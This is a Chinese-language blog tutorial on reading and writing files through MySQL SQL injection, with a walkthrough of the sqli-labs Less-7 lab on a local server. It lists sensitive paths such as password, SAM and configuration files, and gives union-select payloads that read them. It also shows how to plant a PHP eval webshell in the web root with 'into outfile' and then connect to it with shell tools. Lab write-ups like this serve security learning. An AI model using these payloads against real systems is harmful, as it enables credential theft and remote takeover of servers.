sql注入中的文件導入導出問題

導入和導出

load_file()導出文件

load_file(file_name): 讀取文件並返回該文件的內容作爲一個字符串

使用條件:
  • 必須有權限並且文件必須完全可讀

    and (select count(*) from mysql.user)>0/\*如果返回正常,說明有讀寫權限

    and (select count(*) from mysql.user)>0/\* 如果返回錯誤,管理員給數據庫賬戶降權了

  • 要讀取的文件必須在服務器上

  • 必須指定文件的完整路徑

  • 要讀取的文件必須小於max_allowed_packet

    如果文件不存在,或因爲上面的任一原因而不能讀出,函數返回空… 比較難滿足的就是權限,在windows下,ntfs設置得當,是不能讀取相關的文件的,只當遇到只有administrators才能訪問的文件,users是load_file不出來的.

實際注入中:

​ 絕對物理路徑

​ 構造有效的畸形語句(報錯爆出絕對路徑)

在很多php程序中,當提交一個錯誤的Query,如果display_errors=on 程序就會暴露web目錄的絕對路徑,只要知道路徑就好

常用路徑:


WINDOWS下:

c:/boot.ini //查看系統版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置

c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲於此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存儲了pcAnywhere的登陸密碼

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系統apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp開發的網站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼
LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置

/usr/local/app/php5/lib/php.ini //PHP相關設置

/etc/sysconfig/iptables //從中得到防火牆規則策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系統版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相關設置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件

/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虛擬主機配置文件

/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看

/etc/sysconfig/iptables 查看防火牆策略

load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

示例:

select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))))

利用hex()將文件內容導出來,尤其是smb文件時

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

其中的char()就是"c:/boot.ini"的ascii碼

-1 union select 1,1,1,loadfile(0x633a2f626f6f742e696e6

Explain:“c:/boot.ini”的 16 進制是“0x633a2f626f6f742e696e6

-1 union select 1,1,1,load_file(c:\\boot.in

Explain:路徑裏的/用 \\ 代替

文件導入到數據庫

load data infile 語句用於高速地從一個文本文件中讀取行, 並裝入一個表中. 文件名稱必須爲一個文字字符串.

在注入的過程中, 我們需要一些特殊的文件, 比如配置文件, 密碼文件. 需要數據庫權限的時候, 可以將系統文件利用load data infile 導入到數據庫中.

示例:

load data  infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

將/tmp/t0.txt導入到t0表中, character set gbk 是字符集設置爲gbk , fields terminated by 是每一項數據之間的分隔符, lines terminated by 是行的結尾符.

當錯誤代碼爲2的時候,文件不存在, 錯誤代碼爲13的時候是沒有權限的, 可以考慮/tmp等文件夾(load xml 是否可以用來做注入還需要驗證)

導入到文件

select ... into outfile 'file_name'

可以把被選擇的行寫入到一個文件中, 該文件被創建到服務器主機上, 因此必須擁有權限才能完成詞語發. file_name 不能是一個已經存在的文件.

一般有兩種利用形式

  1. 直接將select 內容導入到文件中

    select version() into outfile “/var/www/html/test.php”

    可以將verison()換成想要的一句話木馬<?php @eval($_post['cmd'])?>除了一句話木馬還有很多東西

  2. 修改文件結尾:

    select version() into outfile "/var/wwww/html/test.php" LINES TERMINATED BY 0x16進制文件

    通常是用’\r\n’結尾, 此處我們修改爲自己想要的任何文件. 同時利用FIELDSTERMINATED BY 16進制可以爲一句話或者任何其他代碼, sqlmap 採取的就是這樣的方式, 參考文章

    http://www.cnblogs.com/lcamry/p/5505110.html

os-shell 限制條件: 1. 網站必須是root權限 2. 攻擊者知道網站的絕對路徑 3. GPC爲off ,PHP主動轉義功能關閉

注意點
  1. 可能在文件路徑當中要注意轉義, 要看具體的環境

  2. load_file()當前臺無法導出數據的時候, 我們可以利用下面的語句

    select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'

    可以利用該語句將服務器當中的內容導入到web服務器下的目錄, 這樣就可以得到數據. 上述my.ini當中存在password項(默認被註釋), 當然會有很多內容可以被導出來

Less-7

利用文件導入的方式進行注入, 查看源碼判斷注入點.


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; // '))閉合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

<http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,3%20into%20outfile%20%22/var/www/html/test.txt%22%20%23>

通過這個進行寫入, 在進行操作的時候要確認好, 該目錄下是否有寫入權限, 一般情況下/tmp是可以寫入的, 權限比較大, 爲了本地可以演示成功, 這裏直接賦予相應目錄下全部權限

root@0f6ef9cf6a68:/var/www# ls -al
total 20
drwxr-xr-x 1 root root 4096 Dec 16  2015 .
drwxr-xr-x 1 root root 4096 Dec 16  2015 ..
drwxrwxrwx 1 root root 4096 Jan 23 13:00 html // chmod 777 html

http://127.0.0.1/test.txt //目錄訪問成功

1	Dumb	Dumb
1	2	3

接下來直接導入一句話木馬

http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,%27%3C?php%20@eval($_POST[%22cmd%22])?%3E%27%20into%20outfile%20%22/var/www/html/test.php%22%20%23

這裏的一句話要用’'裏面, ""似乎不行,不知道爲什麼

寫入成功

root@0f6ef9cf6a68:/var/www/html# more test.php 
1	Dumb	Dumb
1	2	<?php @eval($_POST["cmd"])?>

頁面訪問

<http://127.0.0.1/test.php>

1 Dumb Dumb 1 2

訪問成功.

接下來用shell鏈接工具鏈接就好了cknife 菜刀 甚至自己寫python腳本都可以

簡書
個人博客

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章